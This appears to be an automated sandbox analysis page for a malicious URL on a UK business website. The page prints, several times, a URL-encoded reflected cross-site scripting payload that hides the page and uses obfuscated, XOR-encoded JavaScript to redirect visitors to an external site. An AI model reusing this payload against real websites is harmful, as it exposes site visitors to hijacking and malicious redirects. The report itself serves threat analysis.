hxxps://teielectrical[.]co[.]uk/?s=%22%3E%3Ciframe%20src%3Djavascript%3A%2F%2Afd7§%Other[.]everywhere1§5Dforiginal%%style%2A%2FcodeString%3D%60win%60%2B%60dow[.]par%60%2B%60ent[.]docu%60%2B%60ment[.]docu%60%2B%60mentEle%60%2B%60ment[.]st%60%2B%60yle[.]opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C93%2C93%2C93%2C4%2C93%2C66%2C94%2C79%2C68%2C92%2C70%2C90%2C79%2C4%2C73%2C69%2C71%2C5%2C75%2C73%2C126%2C73%2C70%2C24%2C65%2C126%2C71%2C122%2C121%2C96%2C67%2C117%2C102%2C78%2C117%2C71%2C66%2C90%2C102%2C25%2C125%2C66%2C65%2C122%2C71%2C122%2C111%2C117%2C90%2C79%2C110%2C123%2C125%2C92%2C98%2C126%2C115%2C76%2C26%2C19%2C65%2C65%2C112%2C102%2C108%2C96%2C65%2C120%2C117%2C73%2C19%2C96%2C69%2C93%2C100%2C126%2C103%2C111%2C127%2C120%2C96%2C103%2C76%2C29%2C77%2C114%2C95%2C18%2C73%2C111%2C98%2C107%2C121%2C98%2C104%2C115%2C77%2C120%2C70%2C71%2C65%2C99%2C97%2C107%2C84%2C84%2C5%2C27%2C29%2C%5D%3B%2F~2Afwef~5B§7el§wefwef%%3000zwefwef%%3000zb%2A%2Fwin%60%2B%60dow[.]par%60%2B%60ent[.]loca%60%2B%60tion[.]hr%60%2B%60ef%3Durl[.]map%28value%3D%60%2BString[.]fromCharCode%2862%29%2B%60String[.]fromCharCode%28value%5E63%29%29[.]jo%60%2B%60in%28%27%27%29[.]concat%28%27%23%27§29§3B§2F%2Achw%%%%%%chw[.]toUpUpDown%28%29%2A%2F%60%3BcodeString%3DcodeString[.]replaceAll%28%60salooa%60%2C%60azefcr%60%29~3BexecuteCode~3DFunction§28codeString%29%3B%2F%2Athat%ovrir%sleep[.]over%§%2A%2FexecuteCode%28%29%3B%2F%2A%%max[.]do%28%29%2A%2F%3E%3C%2Fiframe%3E%3Fy%20menu%22target%3D%22_blank%22%3E%3Cimgsrc%3D%22https%3A%2F%2Fimages2[.]imgbox[.]com%2F6c%2F70%2FBNrr4IWg_o[.]png%22alt%3D%22imagehost%22%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cahref%3D%22https%3A%2F%2Fwww[.]pubservice[.]com%2Fpubhelp%2Fidx[.]asp%3Fco§3D%22§3E%3Ciframe%20src%3Djavascript%3A%2F%2Afd7%%Other[.]everywhere1%5Dforiginal%%style%2A%2FcodeString%3D%60win%60%2B%60dow[.]par%60%2B%60ent[.]docu%60%2B%60ment[.]docu%60%2B%60mentEle%60%2B%60ment[.]st%60%2B%60yle[.]opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C93%2C93%2C93%2C4%2C93%2C66%2C94%2C79%2C68%2C92%2C70%2C90%2C79%2C4%2C73%2C69%2C71%2C5%2C75%2C73%2C126%2C73%2C70%2C24%2C65%2C126%2C71%2C122%2C121%2C96%2C67%2C117%2C102%2C78%2C117%2C71%2C66%2C90%2C102%2C25%2C125%2C66%2C65%2C122%2C71%2C122%2C111%2C117%2C90%2C79%2C110%2C123%2C125%2C92%2C98%2C126%2C115%2C76%2C26%2C19%2C65%2C65%2C112%2C102%2C108%2C96%2C65%2C120%2C117%2C73%2C19%2C96%2C69%2C93%2C100%2C126%2C103%2C111%2C127%2C120%2C96%2C103%2C76%2C29%2C77%2C114%2C95%2C18%2C73%2C111%2C98%2C107%2C121%2C98%2C104%2C115%2C77%2C120%2C70%2C71%2C65%2C99%2C97%2C107~2C84~2C84§2C5§2C27%2C29%2C%5D%3B%2F%2Afwef%5B%7el%wefwef%%3000zwefwef%%3000zb%2A%2Fwin%60%2B%60dow[.]par%60%2B%60ent[.]loca%60%2B%60tion[.]hr%60%2B%60ef%3Durl[.]map%28value%3D%60%2BString[.]fromCharCode%2862%29%2B%60String[.]fromCharCode%28value%5E42%29%29[.]jo%60%2B§60in§28§27%27%29[.]concat%28%27%23%27%29%3B%2F%2Achw%%%%%%chw[.]toUpUpDown%28%29%2A%2F%60~3BcodeString~3DcodeString[.]replaceAll§28%60salooa%60%2C%60azefcr%60%29%3BexecuteCode§3DFunction%28codeString%29%3B%2F%2Athat%ovrir%sleep[.]over%%%2A2FexecuteCode28293B2F2Amax[.]do28292A2F3E3C2Fiframe3E3Fy20menu

Sharing

Behavioral task

behavioral1

Sample

https://teielectrical.co.uk/?s=%22%3E%3Ciframe%20src%3Djavascript%3A%2F%2Afd7§%Other.everywhere1§5Dforiginal%%style%2A%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C93%2C93%2C93%2C4%2C93%2C66%2C94%2C79%2C68%2C92%2C70%2C90%2C79%2C4%2C73%2C69%2C71%2C5%2C75%2C73%2C126%2C73%2C70%2C24%2C65%2C126%2C71%2C122%2C121%2C96%2C67%2C117%2C102%2C78%2C117%2C71%2C66%2C90%2C102%2C25%2C125%2C66%2C65%2C122%2C71%2C122%2C111%2C117%2C90%2C79%2C110%2C123%2C125%2C92%2C98%2C126%2C115%2C76%2C26%2C19%2C65%2C65%2C112%2C102%2C108%2C96%2C65%2C120%2C117%2C73%2C19%2C96%2C69%2C93%2C100%2C126%2C103%2C111%2C127%2C120%2C96%2C103%2C76%2C29%2C77%2C114%2C95%2C18%2C73%2C111%2C98%2C107%2C121%2C98%2C104%2C115%2C77%2C120%2C70%2C71%2C65%2C99%2C97%2C107%2C84%2C84%2C5%2C27%2C29%2C%5D%3B%2F~2Afwef~5B§7el§wefwef%%3000zwefwef%%3000zb%2A%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map%28value%3D%60%2BString.fromCharCode%2862%29%2B%60String.fromCharCode%28value%5E63%29%29.jo%60%2B%60in%28%27%27%29.concat%28%27%23%27§29§3B§2F%2Achw%%%%%%chw.toUpUpDown%28%29%2A%2F%60%3BcodeString%3DcodeString.replaceAll%28%60salooa%60%2C%60azefcr%60%29~3BexecuteCode~3DFunction§28codeString%29%3B%2F%2Athat%ovrir%sleep.over%§%2A%2FexecuteCode%28%29%3B%2F%2A%%max.do%28%29%2A%2F%3E%3C%2Fiframe%3E%3Fy%20menu%22target%3D%22_blank%22%3E%3Cimgsrc%3D%22https%3A%2F%2Fimages2.imgbox.com%2F6c%2F70%2FBNrr4IWg_o.png%22alt%3D%22imagehost%22%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cahref%3D%22https%3A%2F%2Fwww.pubservice.com%2Fpubhelp%2Fidx.asp%3Fco§3D%22§3E%3Ciframe%20src%3Djavascript%3A%2F%2Afd7%%Other.everywhere1%5Dforiginal%%style%2A%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C93%2C93%2C93%2C4%2C93%2C66%2C94%2C79%2C68%2C92%2C70%2C90%2C79%2C4%2C73%2C69%2C71%2C5%2C75%2C73%2C126%2C73%2C70%2C24%2C65%2C126%2C71%2C122%2C121%2C96%2C67%2C117%2C102%2C78%2C117%2C71%2C66%2C90%2C102%2C25%2C125%2C66%2C65%2C122%2C71%2C122%2C111%2C117%2C90%2C79%2C110%2C123%2C125%2C92%2C98%2C126%2C115%2C76%2C26%2C19%2C65%2C65%2C112%2C102%2C108%2C96%2C65%2C120%2C117%2C73%2C19%2C96%2C69%2C93%2C100%2C126%2C103%2C111%2C127%2C120%2C96%2C103%2C76%2C29%2C77%2C114%2C95%2C18%2C73%2C111%2C98%2C107%2C121%2C98%2C104%2C115%2C77%2C120%2C70%2C71%2C65%2C99%2C97%2C107~2C84~2C84§2C5§2C27%2C29%2C%5D%3B%2F%2Afwef%5B%7el%wefwef%%3000zwefwef%%3000zb%2A%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map%28value%3D%60%2BString.fromCharCode%2862%29%2B%60String.fromCharCode%28value%5E42%29%29.jo%60%2B§60in§28§27%27%29.concat%28%27%23%27%29%3B%2F%2Achw%%%%%%chw.toUpUpDown%28%29%2A%2F%60~3BcodeString~3DcodeString.replaceAll§28%60salooa%60%2C%60azefcr%60%29%3BexecuteCode§3DFunction%28codeString%29%3B%2F%2Athat%ovrir%sleep.over%%%2A2FexecuteCode28293B2F2Amax.do28292A2F3E3C2Fiframe3E3Fy20menu

Resource

win10v2004-20240226-en

windows10-2004-x64

8 signatures

150 seconds

General

Target

https://teielectrical.co.uk/?s=%22%3E%3Ciframe%20src%3Djavascript%3A%2F%2Afd7§%Other.everywhere1§5Dforiginal%%style%2A%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C93%2C93%2C93%2C4%2C93%2C66%2C94%2C79%2C68%2C92%2C70%2C90%2C79%2C4%2C73%2C69%2C71%2C5%2C75%2C73%2C126%2C73%2C70%2C24%2C65%2C126%2C71%2C122%2C121%2C96%2C67%2C117%2C102%2C78%2C117%2C71%2C66%2C90%2C102%2C25%2C125%2C66%2C65%2C122%2C71%2C122%2C111%2C117%2C90%2C79%2C110%2C123%2C125%2C92%2C98%2C126%2C115%2C76%2C26%2C19%2C65%2C65%2C112%2C102%2C108%2C96%2C65%2C120%2C117%2C73%2C19%2C96%2C69%2C93%2C100%2C126%2C103%2C111%2C127%2C120%2C96%2C103%2C76%2C29%2C77%2C114%2C95%2C18%2C73%2C111%2C98%2C107%2C121%2C98%2C104%2C115%2C77%2C120%2C70%2C71%2C65%2C99%2C97%2C107%2C84%2C84%2C5%2C27%2C29%2C%5D%3B%2F~2Afwef~5B§7el§wefwef%%3000zwefwef%%3000zb%2A%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map%28value%3D%60%2BString.fromCharCode%2862%29%2B%60String.fromCharCode%28value%5E63%29%29.jo%60%2B%60in%28%27%27%29.concat%28%27%23%27§29§3B§2F%2Achw%%%%%%chw.toUpUpDown%28%29%2A%2F%60%3BcodeString%3DcodeString.replaceAll%28%60salooa%60%2C%60azefcr%60%29~3BexecuteCode~3DFunction§28codeString%29%3B%2F%2Athat%ovrir%sleep.over%§%2A%2FexecuteCode%28%29%3B%2F%2A%%max.do%28%29%2A%2F%3E%3C%2Fiframe%3E%3Fy%20menu%22target%3D%22_blank%22%3E%3Cimgsrc%3D%22https%3A%2F%2Fimages2.imgbox.com%2F6c%2F70%2FBNrr4IWg_o.png%22alt%3D%22imagehost%22%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cahref%3D%22https%3A%2F%2Fwww.pubservice.com%2Fpubhelp%2Fidx.asp%3Fco§3D%22§3E%3Ciframe%20src%3Djavascript%3A%2F%2Afd7%%Other.everywhere1%5Dforiginal%%style%2A%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C93%2C93%2C93%2C4%2C93%2C66%2C94%2C79%2C68%2C92%2C70%2C90%2C79%2C4%2C73%2C69%2C71%2C5%2C75%2C73%2C126%2C73%2C70%2C24%2C65%2C126%2C71%2C122%2C121%2C96%2C67%2C117%2C102%2C78%2C117%2C71%2C66%2C90%2C102%2C25%2C125%2C66%2C65%2C122%2C71%2C122%2C111%2C117%2C90%2C79%2C110%2C123%2C125%2C92%2C98%2C126%2C115%2C76%2C26%2C19%2C65%2C65%2C112%2C102%2C108%2C96%2C65%2C120%2C117%2C73%2C19%2C96%2C69%2C93%2C100%2C126%2C103%2C111%2C127%2C120%2C96%2C103%2C76%2C29%2C77%2C114%2C95%2C18%2C73%2C111%2C98%2C107%2C121%2C98%2C104%2C115%2C77%2C120%2C70%2C71%2C65%2C99%2C97%2C107~2C84~2C84§2C5§2C27%2C29%2C%5D%3B%2F%2Afwef%5B%7el%wefwef%%3000zwefwef%%3000zb%2A%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map%28value%3D%60%2BString.fromCharCode%2862%29%2B%60String.fromCharCode%28value%5E42%29%29.jo%60%2B§60in§28§27%27%29.concat%28%27%23%27%29%3B%2F%2Achw%%%%%%chw.toUpUpDown%28%29%2A%2F%60~3BcodeString~3DcodeString.replaceAll§28%60salooa%60%2C%60azefcr%60%29%3BexecuteCode§3DFunction%28codeString%29%3B%2F%2Athat%ovrir%sleep.over%%%2A2FexecuteCode28293B2F2Amax.do28292A2F3E3C2Fiframe3E3Fy20menu

Sharing

General

Malware Config

Signatures

Files